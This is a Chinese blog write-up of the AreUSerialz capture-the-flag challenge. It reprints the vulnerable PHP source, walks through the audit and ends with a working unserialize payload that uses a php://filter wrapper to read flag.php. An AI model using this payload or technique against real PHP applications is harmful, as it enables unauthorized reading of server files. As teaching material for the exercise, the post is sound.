• 反序列化 [网鼎杯 2020 青龙组]AreUSerialz 1


    打开题目

    1. include("flag.php");
    2. highlight_file(__FILE__);
    3. class FileHandler {
    4. protected $op;
    5. protected $filename;
    6. protected $content;
    7. function __construct() {
    8. $op = "1";
    9. $filename = "/tmp/tmpfile";
    10. $content = "Hello World!";
    11. $this->process();
    12. }
    13. public function process() {
    14. if($this->op == "1") {
    15. $this->write();
    16. } else if($this->op == "2") {
    17. $res = $this->read();
    18. $this->output($res);
    19. } else {
    20. $this->output("Bad Hacker!");
    21. }
    22. }
    23. private function write() {
    24. if(isset($this->filename) && isset($this->content)) {
    25. if(strlen((string)$this->content) > 100) {
    26. $this->output("Too long!");
    27. die();
    28. }
    29. $res = file_put_contents($this->filename, $this->content);
    30. if($res) $this->output("Successful!");
    31. else $this->output("Failed!");
    32. } else {
    33. $this->output("Failed!");
    34. }
    35. }
    36. private function read() {
    37. $res = "";
    38. if(isset($this->filename)) {
    39. $res = file_get_contents($this->filename);
    40. }
    41. return $res;
    42. }
    43. private function output($s) {
    44. echo "[Result]:
      "
      ;
    45. echo $s;
    46. }
    47. function __destruct() {
    48. if($this->op === "2")
    49. $this->op = "1";
    50. $this->content = "";
    51. $this->process();
    52. }
    53. }
    54. function is_valid($s) {
    55. for($i = 0; $i < strlen($s); $i++)
    56. if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
    57. return false;
    58. return true;
    59. }
    60. if(isset($_GET{'str'})) {
    61. $str = (string)$_GET['str'];
    62. if(is_valid($str)) {
    63. $obj = unserialize($str);
    64. }
    65. }

    这是php反序列化的题目,因为我们看到了函数unserialize

    需要传入一个’str’,而且通过is_valid()规定了传入的每一个字符的ASCII码的范围必须在32到125之间,然后对这个’str’进行反序列化操作。$str = (string)$_GET['str'];:这行代码将$_GET['str']的值强制转换为字符串类型

    function __destruct() {
            if($this->op === "2")//op与2进行强比较
                $this->op = "1";//op与2强比较若相等便赋值为1
            $this->content = "";//content的值被赋值为空
            $this->process();//执行process函数
        }

    从__destruct()代码中可以看到,这里 if 中的判断语句用的是强类型比较

    代码审计

    我们首先看

    class FileHandler {

        protected $op;    //
    被protected修饰的成员对于本包和其子类可见
        protected $filename; 
        protected $content;

    process函数

    public function process() {
            if($this->op == "1") {  //op与1弱比较相等
                $this->write(); //执行write函数
            } else if($this->op == "2") {   //若op与2弱比较相等
                $res = $this->read();    //执行read函数,$res
    的值将是read()方法的返回值
                $this->output($res);  //$res的值将被传递给output()
            } else {
                $this->output("Bad Hacker!");  //否则
    将输出"Bad Hacker
            }

    if 语句中的判断语句用的是弱类型的比较,那么只要op=2,这个是int整数型的2, op == "2"则为True,就可以进入read函数

    我们再看read函数

    private function write() {
            if(isset($this->filename) && isset($this->content)) {
                if(strlen((string)$this->content) > 100) {
                    $this->output("Too long!");
                    die();
                }
                $res = file_put_contents($this->filename, $this->content);
                if($res) $this->output("Successful!");
                else $this->output("Failed!");
            } else {
                $this->output("Failed!");
            }
        }

        private function read() {
            $res = "";
            if(isset($this->filename)) {
                $res = file_get_contents($this->filename);  //
    filename调用file_get_contents函数将文件内容赋值给$res输出
            }
            return $res;

    我们要得到文件包含下的flag,就要执行read函数,不执行write函数,则让op和2弱比较相等

    接着看

    private function output($s) {  //将给定的字符串 $s 输出到浏览器。
            echo "[Result]: 
    ";
            echo $s;
        }

        function __destruct() {
            if($this->op === "2")   //如果op的值为2,则强比较相等
                $this->op = "1";  //强比较相等的话则将1赋值给op
            $this->content = "";  //content的值为空
            $this->process();   //执行process函数
        }

    最后看

    function is_valid($s) {
        for($i = 0; $i < strlen($s); $i++)
            if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))  //ord()
    函数检查字符串中的字符是否在 ASCII 字符集的可接受范围内,即32到125
                return false;
        return true;
    }

    if(isset($_GET{'str'})) {    //
    是否存在名为 "str" 的 GET 参数。

        $str = (string)$_GET['str'];    //"str" 存在就将类型转换为字符串
        if(is_valid($str)) {     //在获取反序列化的数据前,必须调用is_valid()方法进行验证
            $obj = unserialize($str);  //反序列化str的值并赋值给obj
        }

    内容要是可打印字符

    class FileHandler {
        public $op=2;
        public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
        public $content;
    }
    $a = new FileHandler();
    $b = serialize($a);
    echo($b);

    在这里我是用phpstudy创建了个本地网站,在本地打开网页得到的payload,php版本为5.3.29

    我们在题目界面传入str参数

    ?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

    base64解密得到flag

    知识点:

    protected权限

    被protected修饰的成员对于本包和其子类可见

          protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上 \0*\0 的前缀,注意,这里的 \0 表示 ASCII 码为 0 的字符,也就是我们经过 urlencode 后看到的 %00

    ASCII值为0就无法通过上面的is_valid函数校验

  • 相关阅读:
    Unity数字孪生UI设计——导入视频
    js前端获取农历日期
    Java BufferedWriter类简介说明
    如何使用动态活体检测API
    Vue-dvadmin-d2-crud-plus-常用配置-row-handle-columns-options
    WPF 的一些坑
    SD6.23集训总结
    OpenCloudOS 助力趣丸科技降本增效,容器化高效运行
    BBR 公平收敛
    云原生【1】:docker 常用知识总结
  • 原文地址:https://blog.csdn.net/m0_75178803/article/details/134253362